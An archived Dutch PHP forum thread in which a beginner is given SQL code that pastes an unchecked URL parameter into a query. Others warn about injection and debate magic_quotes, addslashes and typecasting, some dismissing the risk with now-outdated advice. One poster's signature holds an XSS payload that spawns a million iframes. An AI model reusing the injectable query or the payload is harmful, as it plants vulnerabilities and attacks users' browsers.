PDA

Bekijk Volledige Versie : PHP-beginner:vraag en antwoord spelletje



Jan Dijk
21/01/04, 11:00
Ik probeer een soort vraag en antwoord spelletje te maken:
je hebt een vraag zoals :<a href: ..>vraag</a> - je drukt op de link en komt
dan terecht op de pagina met het antwoord.
De vragen en antwoorden staan in een MySQL tabel met vraag ID, vraag en
antwoord. Nu probeer ik eea met PHP aan de praat te krijgen. Wat ik dus
probeer is de vraagID door te geven aan de pagina met het antwoord, zodat die
het goeie antwoord geeft. Alleen hoe krijg ik die vraagID doorgestuurd? Ik
dacht dat het in een sessie zou moeten kunnen - maar ik snap niet precies
hoe. Ik wil er liever geen formulier van maken.

Jan
www.jandijk.nl

Rene Pijlman
21/01/04, 11:00
Jan Dijk:
>Wat ik dus probeer is de vraagID door te geven aan de pagina met het
>antwoord, zodat die het goeie antwoord geeft. Alleen hoe krijg ik die
>vraagID doorgestuurd?

Het simpelste lijkt me als parameter in de URL.

--
René Pijlman

Wat wil jij leren? http://www.leren.nl

Jan Dijk
21/01/04, 11:30
On Wed, 21 Jan 2004 10:51:08 +0100, Rene Pijlman wrote
(in message <9ris001g2apt2h029pmnd6m2piklro8bmb@4ax.com>):

> Jan Dijk:
>> Wat ik dus probeer is de vraagID door te geven aan de pagina met het
>> antwoord, zodat die het goeie antwoord geeft. Alleen hoe krijg ik die
>> vraagID doorgestuurd?
>
> Het simpelste lijkt me als parameter in de URL.
>
>

Meegeven lijkt te lukken:
Dan krijg ik als url http://www.enz?5 - waarbij de 5 achter het vraagteken de
vraagID is. Maar hoe krijg ik die 5 dan weer in mijn query voor het antwoord?

Jan

Michiel de Roo
21/01/04, 12:15
Jan Dijk wrote:
> On Wed, 21 Jan 2004 10:51:08 +0100, Rene Pijlman wrote
> (in message <9ris001g2apt2h029pmnd6m2piklro8bmb@4ax.com>):
>
>
>>Jan Dijk:
>>
>>>Wat ik dus probeer is de vraagID door te geven aan de pagina met het
>>>antwoord, zodat die het goeie antwoord geeft. Alleen hoe krijg ik die
>>>vraagID doorgestuurd?
>>
>>Het simpelste lijkt me als parameter in de URL.
>>
>>
>
>
> Meegeven lijkt te lukken:
> Dan krijg ik als url http://www.enz?5 - waarbij de 5 achter het vraagteken de
> vraagID is. Maar hoe krijg ik die 5 dan weer in mijn query voor het antwoord?
>
> Jan
>

Als de url is:
http://www.enz?vraagID=5

Dan in PHP:
<?
$sql = "SELECT * FROM vragen where vraagID=$vraagID";
?>

of:
<?
$sql = 'SELECT * FROM vragen where vraagID=' . $vraagID;
?>


Michiel.

Rene Pijlman
21/01/04, 13:15
Michiel de Roo:
>Als de url is:
>http://www.enz?vraagID=5
>
>Dan in PHP:
><?
>$sql = "SELECT * FROM vragen where vraagID=$vraagID";
>?>

Twee dingen:

1) register_globals. Zie http://nl3.php.net/register_globals

2) Input altijd parsen en checken, voordat je het in SQL stopt. Zie bijv.
http://www.sitepoint.com/article/794

--
René Pijlman

Wat wil jij leren? http://www.leren.nl

Daniel Tryba
21/01/04, 13:15
Michiel de Roo <michiel@mderoopuntnl> wrote:
>> Meegeven lijkt te lukken: Dan krijg ik als url http://www.enz?5 -
>> waarbij de 5 achter het vraagteken de vraagID is. Maar hoe krijg ik
>> die 5 dan weer in mijn query voor het antwoord?
>
> Als de url is: http://www.enz?vraagID=5

> Dan in PHP:
> <?
> $sql = "SELECT * FROM vragen where vraagID=$vraagID";
> ?>

En nu maar wachten op de reactie vn de OP dat dit ook niet werkt :(

nog afgezien van veiligheids risico's.....

--

Daniel Tryba

Michiel de Roo
21/01/04, 13:15
Daniel Tryba wrote:
> Michiel de Roo <michiel@mderoopuntnl> wrote:
>
>>>Meegeven lijkt te lukken: Dan krijg ik als url http://www.enz?5 -
>>>waarbij de 5 achter het vraagteken de vraagID is. Maar hoe krijg ik
>>>die 5 dan weer in mijn query voor het antwoord?
>>
>>Als de url is: http://www.enz?vraagID=5
>
>
>>Dan in PHP:
>><?
>>$sql = "SELECT * FROM vragen where vraagID=$vraagID";
>>?>
>
>
> En nu maar wachten op de reactie vn de OP dat dit ook niet werkt :(
>
> nog afgezien van veiligheids risico's.....
>

Mijn inschatting was dat OP zich nog niet op het niveau van
veiligheidsrisico analyse bevond. Tot voor kort wist hij nog niet eens van
een GET request.

Michiel.

Jan Dijk
21/01/04, 13:15
On Wed, 21 Jan 2004 12:07:17 +0100, Michiel de Roo wrote
(in message <400e5d65$0$317$e4fe514c@news.xs4all.nl>):

> Jan Dijk wrote:
>> On Wed, 21 Jan 2004 10:51:08 +0100, Rene Pijlman wrote
>> (in message <9ris001g2apt2h029pmnd6m2piklro8bmb@4ax.com>):
>>
>>
>>> Jan Dijk:
>>>
>>>> Wat ik dus probeer is de vraagID door te geven aan de pagina met het
>>>> antwoord, zodat die het goeie antwoord geeft. Alleen hoe krijg ik die
>>>> vraagID doorgestuurd?
>>>
>>> Het simpelste lijkt me als parameter in de URL.
>>>
>
>> Dan krijg ik als url http://www.enz?5 - waarbij de 5 achter het vraagteken
>> de
>> vraagID is. Maar hoe krijg ik die 5 dan weer in mijn query voor het
>> antwoord?
>>
>> Jan
>>

> Dan in PHP:
> <?
> $sql = "SELECT * FROM vragen where vraagID=$vraagID";
> ?>
>
> of:
> <?
> $sql = 'SELECT * FROM vragen where vraagID=' . $vraagID;
> ?>
>
>
> Michiel.
>

Bedankt! Het werkt!

Jan

Michiel de Roo
21/01/04, 13:30
Daniel Tryba wrote:
> Michiel de Roo <michiel@mderoopuntnl> wrote:
>><?
>>$sql = "SELECT * FROM vragen where vraagID=$vraagID";
>>?>
>
>
> En nu maar wachten op de reactie vn de OP dat dit ook niet werkt :(

wachten duurt lang ;-)

Michiel de Roo
21/01/04, 13:45
Rene Pijlman wrote:
> Michiel de Roo:
>
>>Als de url is:
>>http://www.enz?vraagID=5
>>
>>Dan in PHP:
>><?
>>$sql = "SELECT * FROM vragen where vraagID=$vraagID";
>>?>
>
>
> Twee dingen:
>
> 1) register_globals. Zie http://nl3.php.net/register_globals
>
> 2) Input altijd parsen en checken, voordat je het in SQL stopt. Zie bijv.
> http://www.sitepoint.com/article/794
>

Ik vraag me af in hoeverre dit artikel van toepassing is op een standaard
PHP/mySQL combi. Blijkbaar is het onder XP met mssql en ASP mogelijk om
via een database query je harde schijf te formatteren. Handig, maar op
mijn systeem zal zoiets niet lukken. Ook staat magic_quotes_gpc gewoonlijk
aan, zodat SQL injects gewoonlijk mislukken. Het uitvoeren van meerdere
queries met een ';' als scheiding wil mij ook al niet lukken.

Michiel.

Rene Pijlman
21/01/04, 18:15
Michiel de Roo:
>Ik vraag me af in hoeverre dit artikel van toepassing is op een standaard
>PHP/mySQL combi.

Ik niet :-) Tussen input van een onbetrouwbare bron en de database hoort
parsen, valideren, applicatielogica en database-interfacing code. Direct
stringetjes in SQL plakken is gewoon niet goed. Het is net zoiets als de
aandrijfas direct op de benzinetank aansluiten. Bergafwaarts werkt het
misschien, maar je kunt erop wachten dat het een keer ophoudt.

--
René Pijlman

Wat wil jij leren? http://www.leren.nl

Michiel de Roo
21/01/04, 19:00
Rene Pijlman wrote:
> Michiel de Roo:
>
>>Ik vraag me af in hoeverre dit artikel van toepassing is op een standaard
>>PHP/mySQL combi.
>
>
> Ik niet :-) Tussen input van een onbetrouwbare bron en de database hoort
> parsen, valideren, applicatielogica en database-interfacing code. Direct
> stringetjes in SQL plakken is gewoon niet goed. Het is net zoiets als de
> aandrijfas direct op de benzinetank aansluiten. Bergafwaarts werkt het
> misschien, maar je kunt erop wachten dat het een keer ophoudt.
>

Als ik van boven op de berg naar beneden wil dan kan ik een hele auto met
motor en alles gaan bouwen, maar ik heb dat helemaal niet nodig. Dus kan
ik het net zo goed niet doen. Als ik de berg weer op wil kijk ik wel verder.

Alle voorbeelden die in het artikel genoemd worden, werken bij mij niet.
Waar moet ik dan bang voor zijn ? Het ergste wat er kan gebeuren is dat je
een mysql error krijgt.

Het is niet dat ik vind dat je niet over beveiliging hoeft na te denken,
natuurlijk wel en dat doe ik ook zeer regelmatig. Maar zaken als die SQL
inject werken m.i. slechts in sporadische gevallen, iig met PHP/mySQL.

Michiel.

Ronald Klip
21/01/04, 19:30
Michiel de Roo schreef:

[sql-injectie]

> Alle voorbeelden die in het artikel genoemd worden, werken bij mij niet.
> Waar moet ik dan bang voor zijn ? Het ergste wat er kan gebeuren is dat je
> een mysql error krijgt.
>
> Het is niet dat ik vind dat je niet over beveiliging hoeft na te denken,
> natuurlijk wel en dat doe ik ook zeer regelmatig. Maar zaken als die SQL
> inject werken m.i. slechts in sporadische gevallen, iig met PHP/mySQL.

Maar wat als de hosting provider op een dag, per ongeluk,
magic_quotes_gpc uit zet? Of (vergezocht) als de ontwikkelaars besluiten
die functionaliteit te schrappen?

Het is i.h.a. niet raadzaam te vertrouwen op instellingen die door
anderen bepaald worden. Als je zelf die server beheert, ben je uiteraard
zelf verantwoordelijk.

IIRC is hier eens een scriptje voorbijgekomen dat addslashes() loslaat
op alle user input als magic_quotes_gpc op off staat. Zeer aan te raden.
Ook handig is mysql_escape_string().

--
groet, Ronald

Daniel Tryba
21/01/04, 19:45
Michiel de Roo <michiel@mderoopuntnl> wrote:
> Ik vraag me af in hoeverre dit artikel van toepassing is op een standaard
> PHP/mySQL combi. Blijkbaar is het onder XP met mssql en ASP mogelijk om
> via een database query je harde schijf te formatteren. Handig, maar op
> mijn systeem zal zoiets niet lukken. Ook staat magic_quotes_gpc gewoonlijk
> aan, zodat SQL injects gewoonlijk mislukken. Het uitvoeren van meerdere
> queries met een ';' als scheiding wil mij ook al niet lukken.

Het is gewoon inconsistent... je checkt dus niet op input uit
post/get/cookies omdat je ervan uitgaat dat magicquotes de enge tekens
wel escaped. Echter controleer je dan wel input die ergens anders
vandaan komt?

Stel je update een database met gegevens uit een andere
database, die gegevens zijn niet geescaped. Of je doet ergens een exec
met user input... wordt && geescaped? Dacht het niet, dus zo kan je mooi
commando's achter elkaar plakken (mits het eerste commando natuurlijk
slaagt).

--

Daniel Tryba

Hans
21/01/04, 21:15
On Wed, 21 Jan 2004 19:18:01 +0100, Ronald Klip <nieuws@bladibla.njet.invalid> wrote:
> Michiel de Roo schreef:
>
> [sql-injectie]
>
>> Het is niet dat ik vind dat je niet over beveiliging hoeft na te denken,
>> natuurlijk wel en dat doe ik ook zeer regelmatig. Maar zaken als die SQL
>> inject werken m.i. slechts in sporadische gevallen, iig met PHP/mySQL.

.... FROM foo WHERE bar = $id

oftewel

.... FROM foo WHERE bar = 1 or bar = 99

Hoe en wat ga ik verder niet uitleggen maar zie rene's opmerkingen ook.

Begin iets te leren over typecasting, de is_... functies etc.... daar ga
je ooit nog eens veel plezier aan beleven.

> IIRC is hier eens een scriptje voorbijgekomen dat addslashes() loslaat
> op alle user input als magic_quotes_gpc op off staat. Zeer aan te raden.
> Ook handig is mysql_escape_string().

if (!magic_quotes_gpc.....

Ik verwacht echter dat het hele if(! niet echt bekend is bij je.

Hans
--
begin http://<XSS_VULN_HOST>/<script>var i; for (i=1;i<1000000;i++) {
document.write("\<iframe
src=\"snews://aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + i +
"\"\>\<\/iframe>"); } document.refresh; </script>

Hans
21/01/04, 21:15
On Wed, 21 Jan 2004 19:18:01 +0100, Ronald Klip <nieuws@bladibla.njet.invalid> wrote:
> Michiel de Roo schreef:

> IIRC is hier eens een scriptje voorbijgekomen dat addslashes() loslaat
> op alle user input als magic_quotes_gpc op off staat. Zeer aan te raden.
> Ook handig is mysql_escape_string().

Die if(! opmerking was natuurlijk voor Michiel :-), sorry.

Hans
--
begin http://<XSS_VULN_HOST>/<script>var i; for (i=1;i<1000000;i++) {
document.write("\<iframe
src=\"snews://aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + i +
"\"\>\<\/iframe>"); } document.refresh; </script>

Inca
21/01/04, 21:45
Daniel Tryba wrote:
> Stel je update een database met gegevens uit een andere
> database, die gegevens zijn niet geescaped. Of je doet ergens een exec
> met user input... wordt && geescaped? Dacht het niet, dus zo kan je
> mooi commando's achter elkaar plakken (mits het eerste commando
> natuurlijk slaagt).

Hmm, een erg hoog 'stel-dat'-gehalte, wat mij betreft niet echt heel
overtuigend. Dingen als exec-commando's etc komen lang niet overal voor - de
risico's van niet checken blijven dan beperkt. Je krijgt soms het idee van
een enorm slot op een verrotte houten schuurdeur. Beveiliging is ongeveer zo
zwak als de zwakste schakel.
En natuurlijk: hoe vreselijk is het als dat ding wordt opengebroken? Ben je
de Europeesche Bank dan heeft dat meer gevolgen dan als het een database-je
is met slechts je persoonlijke top-40, bedoeld voor vrienden en bekenden. In
het laatste geval is de kans groter dat je server brute force of met een
trojan gehackt wordt (of een bekend security lek in OS, server of iets
anders) dan via een ingewikkelde sql-injection (die niet te ondervangen is
met magic-quotes).
--
Inca
JA - Wel integratie
NEE - Niet met buitenlanders
http://www.poldermodelstickers.nl/

Daniel Tryba
21/01/04, 22:00
Inca <shadow*movements@wanadoo.nospam.invalid> wrote:
>> Stel je update een database met gegevens uit een andere
>> database, die gegevens zijn niet geescaped. Of je doet ergens een exec
>> met user input... wordt && geescaped? Dacht het niet, dus zo kan je
>> mooi commando's achter elkaar plakken (mits het eerste commando
>> natuurlijk slaagt).
>
> Hmm, een erg hoog 'stel-dat'-gehalte, wat mij betreft niet echt heel
> overtuigend. Dingen als exec-commando's etc komen lang niet overal voor - de
> risico's van niet checken blijven dan beperkt.

Het gaat mij niet om alle mogelijkheden, het gaat me over de
inconsistentie die je met magic_quotes creeert. Sommige dingen worden
geescaped andere niet, dit leid tot een vals gevoel van veiligheid
zoals we al in Michiel's posting kunnen lezen.

--

Daniel Tryba

Inca
21/01/04, 22:30
Daniel Tryba wrote:
> Het gaat mij niet om alle mogelijkheden, het gaat me over de
> inconsistentie die je met magic_quotes creeert.

Ja maar die inconsistentie brengt nauwelijks risico's met zich mee, als je
tenminste een prive-klussende php'er bent.

> Sommige dingen worden
> geescaped andere niet, dit leid tot een vals gevoel van veiligheid
> zoals we al in Michiel's posting kunnen lezen.

Dat valse gevoel van veiligheid is overal - je zou haast denken dat het
menselijk is. Van terreurbestrijding tot extra vitamine C in de winter. Het
gaat om risico's, kansen. Het is, en blijft, mogelijk om gebruik te maken
van bugs en ondoordachte eigenschappen van php. De *kans* dat dit gebeurt
met negatieve gevolgen is alleen niet zo heel groot, bij een persoonlijke,
niet zo belangrijke website waarschijnlijk haast verwaarloosbaar ten
opzichte van de andere risico's.
Maar dat is een afweging die je alleen voor je eigen situatie goed kunt
maken.

Overigens, hoe vaak komt 'sql injection' nou echt in het wild voor?
--
Inca
JA - Wel 4500 tienermoeders
NEE - Geen 4500 tienervaders
http://www.poldermodelstickers.nl/

Maarten Wierda
22/01/04, 00:00
Hans wrote:

>>IIRC is hier eens een scriptje voorbijgekomen dat addslashes() loslaat
>>op alle user input als magic_quotes_gpc op off staat. Zeer aan te raden.
>>Ook handig is mysql_escape_string().
>
> if (!magic_quotes_gpc.....
>
> Ik verwacht echter dat het hele if(! niet echt bekend is bij je.

Ik controleer dit eigenlijk nooit. Vooralsnog kan ik de waarde van
magic_quotes zelf op 0 zetten met ini_set() of handmatig php.ini
aanpassen. Vervolgens gebruik addslashes() voordat ik post-vars
doorstuur naar m'n klasse, bijv.

$obj->setFoo(addslashes($_POST["foo"]));

Is het beter om de waarde van get_magic_quotes_gpc() op te vragen en
vervolgens evt. addslahes() uit te voeren? Zoja, dan... tsja, alleen wat
meer regels code :)

--
Cheers, Maarten Wierda

"Meeting Again For The First Time"
PTW/YCBYG

Michiel de Roo
27/01/04, 13:05
Daniel Tryba wrote:
> Michiel de Roo <michiel@mderoopuntnl> wrote:
>
>>Ik vraag me af in hoeverre dit artikel van toepassing is op een standaard
>>PHP/mySQL combi. Blijkbaar is het onder XP met mssql en ASP mogelijk om
>>via een database query je harde schijf te formatteren. Handig, maar op
>>mijn systeem zal zoiets niet lukken. Ook staat magic_quotes_gpc gewoonlijk
>>aan, zodat SQL injects gewoonlijk mislukken. Het uitvoeren van meerdere
>>queries met een ';' als scheiding wil mij ook al niet lukken.
>
>
> Het is gewoon inconsistent... je checkt dus niet op input uit
> post/get/cookies omdat je ervan uitgaat dat magicquotes de enge tekens
> wel escaped. Echter controleer je dan wel input die ergens anders
> vandaan komt?

Ja, als daar geen 'automagische' methoden voor zijn, dan doe ik dat
handmatig. Maar, binnen een webapplicatie zijn er gewoonlijk geen andere
(directe) bronnen dan GPC variabelen.

>
> Stel je update een database met gegevens uit een andere
> database, die gegevens zijn niet geescaped.

Dan moet je wel, alleen al omdat je anders een hele berg errors om je oren
krijgt. Bijv INSERT INTO person () VALUES ('Karel', ''t', 'Hof')

> Of je doet ergens een exec
> met user input... wordt && geescaped? Dacht het niet, dus zo kan je mooi
> commando's achter elkaar plakken (mits het eerste commando natuurlijk
> slaagt).

Een exec is een heel ander verhaal dan een query onder mySQL. Als ik exec
statements ga draaien met user input, dan krab ik mij eerst eens drie keer
achter de oren en kijk er na het weekend nog eens een keer naar.

Michiel

Michiel de Roo
27/01/04, 13:05
Hans wrote:
[snip]
> Begin iets te leren over typecasting, de is_... functies etc.... daar ga
> je ooit nog eens veel plezier aan beleven.

Als je dan maar niet is_int gebruikt, want die GET variabele is altijd een
string, ongeacht wat erin staat. En met typecasting wordt elke string een
0, of dat nou zo veilig is.......

>>IIRC is hier eens een scriptje voorbijgekomen dat addslashes() loslaat
>>op alle user input als magic_quotes_gpc op off staat. Zeer aan te raden.
>>Ook handig is mysql_escape_string().
>
> if (!magic_quotes_gpc.....
>
> Ik verwacht echter dat het hele if(! niet echt bekend is bij je.

Tja, je kunt ook gewoon een .htaccess file neerzetten, met daarin:

php_value magic_quotes_gpc 1

Maar ik verwacht eigenlijk dat jij nog nooit van een .htaccess gehoord
hebt ;-)

Michiel.

Inca
27/01/04, 13:05
Michiel de Roo wrote:
> Als je dan maar niet is_int gebruikt, want die GET variabele is
> altijd een string, ongeacht wat erin staat. En met typecasting wordt
> elke string een 0, of dat nou zo veilig is.......

Veilig wel, zinnig niet (-:
De functie 'is_numeric' kun je overigens gebruiken om strings te checken op
een numerieke waarde.
--
Inca
NEE - Geen IKEA
JA - Wel SWEN
http://www.poldermodelstickers.nl/

Hans
27/01/04, 13:05
On Wed, 21 Jan 2004 23:45:13 +0100, Maarten Wierda <maartenAT@norecessDOT.com> wrote:
> Hans wrote:
>
>> if (!magic_quotes_gpc.....

> Ik controleer dit eigenlijk nooit. Vooralsnog kan ik de waarde van
> magic_quotes zelf op 0 zetten met ini_set() of handmatig php.ini
> aanpassen. Vervolgens gebruik addslashes() voordat ik post-vars
> doorstuur naar m'n klasse, bijv.
>
> $obj->setFoo(addslashes($_POST["foo"]));
>
> Is het beter om de waarde van get_magic_quotes_gpc() op te vragen en
> vervolgens evt. addslahes() uit te voeren? Zoja, dan... tsja, alleen wat
> meer regels code :)

magic_quotes_gpc PHP_INI_PERDIR|PHP_INI_SYSTEM

ini_set is natuurlijk een prima oplossing. Alleen wel jammer dat je dat
volgens de manual hooguit in een .htaccess kunt regelen. Zonde van de
performance.

Hans


--
begin http://<XSS_VULN_HOST>/<script>var i; for (i=1;i<1000000;i++) {
document.write("\<iframe
src=\"snews://aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + i +
"\"\>\<\/iframe>"); } document.refresh; </script>

Hans
27/01/04, 13:05
On Thu, 22 Jan 2004 14:29:57 +0100, Michiel de Roo <michiel@mderooPUNTNL> wrote:
> Hans wrote:
> [snip]
>> Begin iets te leren over typecasting, de is_... functies etc.... daar ga
>> je ooit nog eens veel plezier aan beleven.
>
> Als je dan maar niet is_int gebruikt, want die GET variabele is altijd een
> string, ongeacht wat erin staat. En met typecasting wordt elke string een
> 0, of dat nou zo veilig is.......

intval -- Get integer value of a variable

Overigens werkt (int)$_GET... ook.

>>>IIRC is hier eens een scriptje voorbijgekomen dat addslashes() loslaat
>>>op alle user input als magic_quotes_gpc op off staat. Zeer aan te raden.
>>>Ook handig is mysql_escape_string().
>>
>> if (!magic_quotes_gpc.....
>>
>> Ik verwacht echter dat het hele if(! niet echt bekend is bij je.
>
> Tja, je kunt ook gewoon een .htaccess file neerzetten, met daarin:
>
> php_value magic_quotes_gpc 1
>
> Maar ik verwacht eigenlijk dat jij nog nooit van een .htaccess gehoord
> hebt ;-)

Hehe :-) Ik probeer ze te vermijden als de pest, gooi het liever in apache zelf.

Hans

--
begin http://<XSS_VULN_HOST>/<script>var i; for (i=1;i<1000000;i++) {
document.write("\<iframe
src=\"snews://aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + i +
"\"\>\<\/iframe>"); } document.refresh; </script>